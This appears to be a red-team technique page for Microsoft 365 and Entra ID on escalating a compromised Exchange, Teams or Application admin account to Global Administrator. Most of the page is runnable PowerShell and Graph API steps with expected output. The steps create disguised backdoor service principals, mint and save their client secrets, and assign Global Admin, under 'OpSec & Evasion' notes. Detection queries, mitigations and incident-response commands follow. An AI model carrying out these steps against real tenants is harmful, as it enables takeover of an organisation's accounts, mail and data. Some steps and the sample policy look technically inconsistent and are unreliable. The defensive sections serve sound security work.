| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-008 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | M365/Entra ID |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All M365 tenants, Entra ID (all versions) |
| Patched In | N/A (Configuration-based vulnerability, not patchable) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SaaS Admin Account Escalation exploits the hierarchical delegation and role assignment mechanisms in Microsoft 365 and Entra ID to elevate a compromised user account from a limited administrative role (e.g., Teams Admin, Exchange Admin, SharePoint Admin) to Global Administrator or equivalent unrestricted access. This technique leverages the design of role-based access control (RBAC) in M365, where certain admin roles can grant permissions to other roles, create new admin accounts, or modify role assignments.
Attack Surface: Entra ID role assignment APIs, Microsoft 365 Admin Center, PowerShell Graph cmdlets, role hierarchy delegation endpoints, PIM (Privileged Identity Management) workflows, conditional access policy modifications.
Business Impact: Unrestricted access to all Microsoft 365 services (Exchange Online, SharePoint, Teams, OneDrive) and underlying Entra ID infrastructure. An attacker can exfiltrate sensitive business data, compromise mail and file systems, impersonate users across the organization, modify security policies, and establish persistent backdoors through mailbox rules, application permissions, and service principals.
Technical Context: This attack completes within minutes once an admin account is compromised. Detection varies; some escalation paths are heavily logged (role assignments), while others (self-service permission grants) may be less visible. The attack is largely irreversible without comprehensive audit log review and credential reset.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS M365 3.1 | Restrict Global Administrator Role Assignment |
| DISA STIG | DISA-O365-000001 | Office 365 user accounts must not have Global Admin role unless necessary |
| CISA SCuBA | CISA-M365-AC-02 | Privileged Account Management - Role hierarchy restrictions |
| NIST 800-53 | AC-6, AC-3 | Least Privilege, Access Enforcement |
| GDPR | Art. 32 | Security of Processing - Access control and monitoring |
| DORA | Art. 9, Art. 15 | Protection and Prevention, Cybersecurity risk management |
| NIS2 | Art. 21(1)(d) | Managing access to assets and services |
| ISO 27001 | A.9.2.2, A.9.2.3 | User registration and de-registration, Management of Privileged Access Rights |
| ISO 27005 | Risk of unauthorized privilege escalation | Compromise of administrative controls in SaaS platforms |
Supported Versions:
Tools:
Enumerate current role assignments and identify escalation paths:
# Connect to Entra ID
Connect-MgGraph -Scopes "RoleManagement.Read.All", "User.Read.All"
# List all Entra ID roles
Get-MgDirectoryRole | Select-Object DisplayName, Id
# Check current user's roles
$CurrentUser = (Get-MgContext).Account
Get-MgUserMemberOf -UserId $CurrentUser.Id -All | Where-Object { $_.ObjectType -eq "DirectoryRole" }
# Enumerate admin accounts with Global Admin role
Get-MgDirectoryRoleMember -DirectoryRoleId "62e90394-69f5-4237-9190-012177145e10" | Select-Object DisplayName, Id
What to Look For:
Version Note: Commands are consistent across PowerShell 5.0+; Graph module syntax may vary between v1.x and v2.x
# Login to Azure
az login
# List all role assignments in the tenant
az role assignment list --subscription <subscription-id>
# Check current user's effective permissions
az ad user show --id $(az account show --query user.name -o tsv)
# List Entra ID roles (requires Global Admin preview features)
az rest --method get --uri "https://graph.microsoft.com/v1.0/directoryRoles"
What to Look For:
Supported Versions: M365 E3+, Exchange Online all versions
Objective: Confirm the compromised account has Exchange Admin role
Command:
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName attacker@contoso.onmicrosoft.com
# Verify admin role
Get-RoleGroup | Where-Object { $_.Members -contains "attacker@contoso.onmicrosoft.com" }
# Expected output: "Organization Management" or "Exchange Administrators"
Expected Output:
Name DisplayName
---- -----------
Organization Management Organization Management
What This Means:
Objective: Determine if the Exchange Admin can assign roles in Entra ID
Command:
# Connect to Entra ID with Graph permissions
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.All", "User.Read.All"
# Check if current user can create new admin roles
Get-MgDirectoryRoleTemplate | Select-Object DisplayName, Id | head -20
# Attempt to list existing Global Admins
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
Get-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId | Select-Object DisplayName, Id
Expected Output:
DisplayName Id
----------- --
Global Administrator 62e90394-69f5-4237-9190-012177145e10
Application Administrator 10dae51f-b6af-4016-8d66-8c2a99b929a3
...
What This Means:
OpSec & Evasion:
Objective: Create a backdoor service principal with escalated permissions
Command:
# Create a new App Registration in Entra ID
$App = New-MgApplication -DisplayName "Security Management Tool" -RequiredResourceAccess @{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{Id = "9e3f62cf-ca93-4989-b6ce-bf83c28649dc"; Type = "Role"} # Directory.ReadWrite.All
)
}
# Get the object ID
$AppId = $App.AppId
Write-Output "Created App Registration: $AppId"
# Create a service principal for the app
$SP = New-MgServicePrincipal -AppId $AppId
# Assign Global Admin role to the service principal
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
New-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId -DirectoryObjectId $SP.Id
Write-Output "Service Principal assigned Global Admin role"
Expected Output:
Created App Registration: f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b
Service Principal assigned Global Admin role
What This Means:
Troubleshooting:
Objective: Create authentication credentials for the backdoor service principal
Command:
# Get the service principal
$SP = Get-MgServicePrincipal -Filter "displayName eq 'Security Management Tool'"
# Add a password credential (expires in 24 months)
$Secret = Add-MgServicePrincipalPassword -ServicePrincipalId $SP.Id -PasswordDisplayName "BackdoorSecret"
Write-Output "Client ID: $($SP.AppId)"
Write-Output "Client Secret: $($Secret.SecretText)"
Write-Output "Tenant ID: $(Get-MgContext).TenantId"
# Save credentials securely for later use
$Secret.SecretText | Out-File -FilePath "C:\temp\backdoor_secret.txt" -Force
Expected Output:
Client ID: f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b
Client Secret: d7f4~abc123XYZ...abc123XYZ
Tenant ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
What This Means:
OpSec & Evasion:
Objective: Test that the service principal has Global Admin access
Command:
# Authenticate as the service principal
$TenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$ClientId = "f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b"
$ClientSecret = "d7f4~abc123XYZ...abc123XYZ"
$Body = @{
grant_type = "client_credentials"
client_id = $ClientId
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
}
$TokenResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $Body
$Token = $TokenResponse.access_token
# Use the token to make API calls with Global Admin privileges
$Headers = @{
Authorization = "Bearer $Token"
}
# List users in the tenant (requires Global Admin)
Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users?top=10" -Headers $Headers | Select-Object -ExpandProperty value | Select-Object DisplayName, Id
Expected Output:
displayName id
----------- --
Adele Vance 00aa00aa-bb11-cc22-dd33-ee44ff55gg66
Alex Wilber 11bb11bb-cc22-dd33-ee44-ff55aa66hh77
...
What This Means:
Supported Versions: M365 E3+, Teams all versions
Objective: Confirm the compromised account is a Teams Admin
Command:
# Connect to Teams PowerShell
Connect-MicrosoftTeams -Credential (Get-Credential)
# Verify Teams admin role
Get-Team | Where-Object { $_.Owner -contains "attacker@contoso.onmicrosoft.com" }
# List Teams admin roles
Get-TeamsUserPolicyAssignment -Identity attacker@contoso.onmicrosoft.com
Expected Output:
Name Owner
---- -----
IT-Department attacker@contoso.onmicrosoft.com
Engineering attacker@contoso.onmicrosoft.com
What This Means:
Objective: Find if Teams Admin can add accounts to privileged Entra ID groups
Command:
# Connect to Entra ID
Connect-MgGraph -Scopes "GroupMember.ReadWrite.All", "RoleManagement.ReadWrite.All"
# List all groups (especially those with admin roles)
Get-MgGroup -Filter "displayName eq 'Global Admins' or displayName eq 'Exchange Admins'" | Select-Object DisplayName, Id
# Check if Teams Admin can modify group membership
$AdminGroupId = "00bb00bb-cc22-dd33-ee44-ff55aa66hh77"
Get-MgGroupMember -GroupId $AdminGroupId | Select-Object DisplayName, Id
Expected Output:
displayName id
----------- --
Global Admins 00bb00bb-cc22-dd33-ee44-ff55aa66hh77
Exchange Admins 11cc11cc-dd33-ee44-ff55-aa66bb77ii88
What This Means:
OpSec & Evasion:
Objective: Add the compromised account to an admin group to escalate privileges
Command:
# First, create a new user in the tenant (or use existing)
$NewUser = New-MgUser -DisplayName "Admin Support Account" -MailNickname "admin-support" -UserPrincipalName "admin-support@contoso.onmicrosoft.com" -PasswordProfile @{Password="ComplexP@ssw0rd!"} -AccountEnabled
# Get the Global Admins group ID
$AdminGroupId = (Get-MgGroup -Filter "displayName eq 'Global Admins'").Id
# Add the compromised account to the Global Admins group
New-MgGroupMember -GroupId $AdminGroupId -DirectoryObjectId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'").Id
# Verify membership
Get-MgGroupMember -GroupId $AdminGroupId | Select-Object DisplayName, Id
Expected Output:
displayName id
----------- --
attacker 22dd22dd-ee55-ff66-aa77-bb88cc99jj00
Admin Support Account 33ee33ee-ff66-aa77-bb88-cc99dd00kk11
What This Means:
Supported Versions: M365 E3+, Entra ID all versions
Objective: Confirm the compromised account is an Application Admin
Command:
# Connect to Graph
Connect-MgGraph -Scopes "AppRoleAssignment.ReadWrite.All", "RoleManagement.Read.All"
# Check if user has Application Administrator role
$AppAdminRoleId = "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3"
$CurrentUser = (Get-MgContext).Account
Get-MgDirectoryRoleMember -DirectoryRoleId $AppAdminRoleId | Where-Object { $_.Id -eq (Get-MgUser -Filter "userPrincipalName eq '$($CurrentUser.Id)'").Id }
# If member, proceed
Write-Output "User is Application Administrator"
Expected Output:
User is Application Administrator
What This Means:
Objective: Create a new app with permissions to modify Entra ID
Command:
# Create a new app registration
$App = New-MgApplication -DisplayName "Azure Management Portal" -RequiredResourceAccess @{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{Id = "9e3f62cf-ca93-4989-b6ce-bf83c28649dc"; Type = "Role"} # Directory.ReadWrite.All
)
}
Write-Output "App created with ID: $($App.AppId)"
# Create service principal
$SP = New-MgServicePrincipal -AppId $App.AppId
# Grant the permission (requires admin consent)
$GraphServicePrincipal = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$AppRole = $GraphServicePrincipal.AppRoles | Where-Object { $_.Value -eq "Directory.ReadWrite.All" }
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -PrincipalId $SP.Id -AppRoleId $AppRole.Id -ResourceId $GraphServicePrincipal.Id
Write-Output "Directory.ReadWrite.All permission granted"
Expected Output:
App created with ID: f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b
Directory.ReadWrite.All permission granted
What This Means:
Objective: Use the application to assign Global Admin role to the original compromised account
Command:
# Authenticate as the service principal
$TenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$ClientId = "f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b"
$ClientSecret = (Add-MgServicePrincipalPassword -ServicePrincipalId (Get-MgServicePrincipal -Filter "appId eq '$ClientId'").Id -PasswordDisplayName "EscalationSecret").SecretText
# Get access token
$Body = @{
grant_type = "client_credentials"
client_id = $ClientId
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
}
$TokenResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $Body
$Token = $TokenResponse.access_token
$Headers = @{
Authorization = "Bearer $Token"
"Content-Type" = "application/json"
}
# Get the Global Admin role ID
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
# Get the user to escalate
$UserToEscalate = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users?`$filter=userPrincipalName eq 'attacker@contoso.onmicrosoft.com'" -Headers $Headers | Select-Object -ExpandProperty value
# Assign Global Admin role
$Body = @{
principalId = $UserToEscalate.Id
directoryScopeId = "/"
roleDefinitionId = $GlobalAdminRoleId
} | ConvertTo-Json
Invoke-RestMethod -Method Post -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Headers $Headers -Body $Body
Write-Output "Global Admin role assigned to attacker@contoso.onmicrosoft.com"
Expected Output:
Global Admin role assigned to attacker@contoso.onmicrosoft.com
What This Means:
Version: 2.0+ Minimum Version: 1.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core 7+)
Installation:
Install-Module Microsoft.Graph -Repository PSGallery -Force
Usage:
Connect-MgGraph -Scopes "User.Read.All", "RoleManagement.ReadWrite.All"
Get-MgUser -Top 10
Version: 3.0+ Minimum Version: 2.0 Supported Platforms: Windows, PowerShell 5.0+
Installation:
Install-Module ExchangeOnlineManagement -Force
Usage:
Connect-ExchangeOnline
Get-Mailbox
Version: 2.0.2.140+ (deprecated, use Microsoft Graph instead) Minimum Version: 1.1.6 Supported Platforms: Windows PowerShell 5.0+
Installation:
Install-Module AzureAD -Force
Invoke-AtomicTest T1548.004 -TestNumbers 1
Reference: Atomic Red Team T1548
Rule Configuration:
AuditLogs (Entra ID audit)ActivityDisplayName, TargetResources, InitiatedBy, ResultKQL Query:
AuditLogs
| where ActivityDisplayName in ("Add member to role", "Add eligible member to role", "Assign role to service principal", "Create app registration")
| where TargetResources[0].displayName in ("Global Administrator", "Exchange Administrator", "Application Administrator", "Directory Synchronization Accounts")
| where Result == "success"
| extend Initiator = InitiatedBy.user.userPrincipalName
| extend TargetUser = TargetResources[0].userPrincipalName
| project TimeGenerated, Initiator, TargetUser, ActivityDisplayName
| where Initiator !in ("admin@contoso.onmicrosoft.com", "svc_account@contoso.onmicrosoft.com") // Exclude known legitimate admins
What This Detects:
KQL Query:
AuditLogs
| where ActivityDisplayName == "Add service principal"
| extend SPId = TargetResources[0].id
| extend SPName = TargetResources[0].displayName
| where TargetResources[0].displayName contains "admin" or TargetResources[0].displayName contains "management" or TargetResources[0].displayName contains "security"
| project TimeGenerated, SPId, SPName, InitiatedBy.user.userPrincipalName as Creator
What This Detects:
Restrict Global Admin Role Assignment: Limit the number of accounts with Global Admin privileges and enforce approval workflow.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# List Global Admins
Connect-MgGraph -Scopes "RoleManagement.Read.All"
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
Get-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId | Select-Object DisplayName, Id
# Remove unnecessary admins
Remove-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId -DirectoryObjectId <USER_ID>
Enforce Privileged Identity Management (PIM): Require time-bound, approval-based activation for privileged roles.
Manual Steps (Azure Portal):
Block Unauthorized Service Principal Creation: Implement Azure Policy to prevent creation of service principals without approval.
Manual Steps (Azure Portal):
{
"if": {
"field": "type",
"equals": "Microsoft.Authorization/roleAssignments"
},
"then": {
"effect": "deny"
}
}
Monitor and Alert on Admin Role Changes: Enable detailed audit logging and create alerts for role assignments.
Manual Steps (Microsoft Sentinel):
Require Multi-Factor Authentication for Admin Accounts: Enforce MFA on all privileged accounts.
Manual Steps (Conditional Access):
Require MFA for AdminsImplement Just-in-Time (JIT) Access: Use Azure AD Privileged Identity Management for temporary admin access.
Manual Steps:
# Check Global Admin count (should be minimal, ideally 2-3)
Connect-MgGraph -Scopes "RoleManagement.Read.All"
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
$GlobalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId
Write-Output "Total Global Admins: $($GlobalAdmins.Count)"
# Check if PIM is configured
$PIMSettings = Get-MgPrivilegedIdentityManagementPolicy
Write-Output "PIM Enabled: $($PIMSettings.IsEligible)"
# Verify MFA requirement for admins
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Admin*" } | Select-Object DisplayName, State
Expected Output (If Secure):
Total Global Admins: 2
PIM Enabled: True
DisplayName State
----------- -----
Require MFA for Admins enabled
Block Legacy Auth enabled
What to Look For:
Search-UnifiedAuditLog -Operations "New-RoleAssignment", "Add-RoleGroupMember"AuditLogs, SigninLogs, AADServicePrincipalSignInLogsIsolate:
Command:
# Immediately disable the compromised admin account
Update-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'").Id -AccountEnabled:$false
# Disable any backdoor service principals
Update-MgServicePrincipal -ServicePrincipalId <SP_ID> -AccountEnabled:$false
Collect Evidence:
Command:
# Export audit logs
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -ResultSize 50000 | Export-Csv -Path "C:\Evidence\audit_logs.csv"
# Export sign-in logs
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'" -All | Export-Csv -Path "C:\Evidence\signin_logs.csv"
Remediate:
Command:
# Remove malicious role assignments
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
$MaliciousUser = (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'").Id
Get-MgDirectoryRoleAssignment -Filter "principalId eq '$MaliciousUser'" | Remove-MgDirectoryRoleAssignment
# Delete backdoor service principals
Remove-MgServicePrincipal -ServicePrincipalId <BACKDOOR_SP_ID>
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker captures compromised M365 user credentials |
| 2 | Privilege Escalation | [PE-ELEVATE-008] SaaS Admin Account Escalation | Escalate from Exchange Admin to Global Admin |
| 3 | Persistence | [PERSIST-005] OAuth Application Backdoor | Create persistent service principal with escalated permissions |
| 4 | Credential Access | [CA-TOKEN-004] Graph API Token Theft | Extract and reuse M365 tokens for lateral movement |
| 5 | Data Exfiltration | [COLLECT-015] Mailbox Export | Export sensitive emails and files to external storage |